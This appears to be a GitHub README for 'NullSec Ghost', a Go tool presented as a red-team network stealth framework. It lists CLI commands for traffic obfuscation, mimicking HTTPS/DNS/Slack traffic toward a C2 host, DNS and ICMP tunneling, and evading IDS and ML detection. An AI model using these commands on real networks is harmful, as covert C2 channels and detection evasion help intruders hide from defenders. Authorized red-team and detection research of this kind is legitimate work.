Skip to content

πŸ‘» Network stealth framework in Go - traffic obfuscation, protocol mimicry, covert channels

Notifications You must be signed in to change notification settings

bad-antics/nullsec-ghost

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

1 Commit
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ‘» NullSec Ghost

Go License Version

Advanced Network Stealth & Evasion Framework

Traffic Obfuscation β€’ Protocol Mimicry β€’ Covert Channels β€’ Anti-Detection


🎯 Overview

NullSec Ghost is a comprehensive network stealth framework written in Go. It provides tools for traffic obfuscation, protocol mimicry, and covert channel establishment for authorized red team operations and security research.

⚑ Features

Feature Description
🌊 Traffic Obfuscation Scramble, pad, and encrypt network traffic
🎭 Protocol Mimicry Make traffic appear as legitimate protocols
πŸ“‘ Covert Channels DNS, ICMP, HTTP tunneling
πŸ”€ Traffic Shaping Normalize patterns to avoid ML detection
πŸ›‘οΈ Anti-IDS Evade signature-based detection
🌐 Multi-Hop Chain proxies with protocol mixing

πŸ› οΈ Components

1. Traffic Obfuscator

# Obfuscate outbound traffic
ghost obfuscate --mode scramble --target 10.0.0.1:443

# Pad traffic to fixed sizes
ghost obfuscate --mode padding --size 1024

# XOR encrypt with rotating key
ghost obfuscate --mode xor --key random

2. Protocol Mimicry

# Mimic HTTPS traffic
ghost mimic --protocol https --target c2.example.com

# Mimic DNS queries
ghost mimic --protocol dns --target dns.example.com

# Mimic Slack/Teams webhooks
ghost mimic --protocol webhook --platform slack

3. Covert Channels

# DNS tunneling
ghost covert dns --domain tunnel.example.com --mode bidirectional

# ICMP tunneling
ghost covert icmp --target 10.0.0.1 --payload-size 64

# HTTP covert channel
ghost covert http --url https://example.com/api --method cookies

4. Traffic Shaping

# Normalize traffic timing
ghost shape --mode timing --interval 100ms --jitter 20ms

# Mimic browser patterns
ghost shape --profile chrome --sites google.com,github.com

# Anti-ML evasion
ghost shape --mode ml-evasion --model random-forest

πŸ“¦ Installation

# From source
go build -o ghost ./cmd/ghost

# Install
sudo mv ghost /usr/local/bin/

πŸ”§ Configuration

# ghost.yaml
obfuscation:
  enabled: true
  mode: scramble
  padding: true
  pad_size: 1024
  
mimicry:
  protocol: https
  user_agent: "Mozilla/5.0..."
  tls_fingerprint: chrome
  
covert:
  channel: dns
  domain: tunnel.example.com
  encoding: base32
  
shaping:
  timing:
    interval: 100ms
    jitter: 20%
  burst_size: 5
  profile: browser

🎭 Evasion Modes

Passive Mode

Observe and adapt to network patterns without generating suspicious traffic.

Active Mode

Actively obfuscate and disguise all outbound communications.

Chameleon Mode

Dynamically switch protocols and patterns based on network environment.

# Chameleon mode - auto-adapt
ghost --mode chameleon --target c2.example.com

πŸ”¬ Research Applications

  • Network detection system testing
  • IDS/IPS evasion research
  • Traffic analysis countermeasures
  • Red team C2 infrastructure
  • Covert communication research

bad-antics β€’ Part of NullSec Linux

About

πŸ‘» Network stealth framework in Go - traffic obfuscation, protocol mimicry, covert channels

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages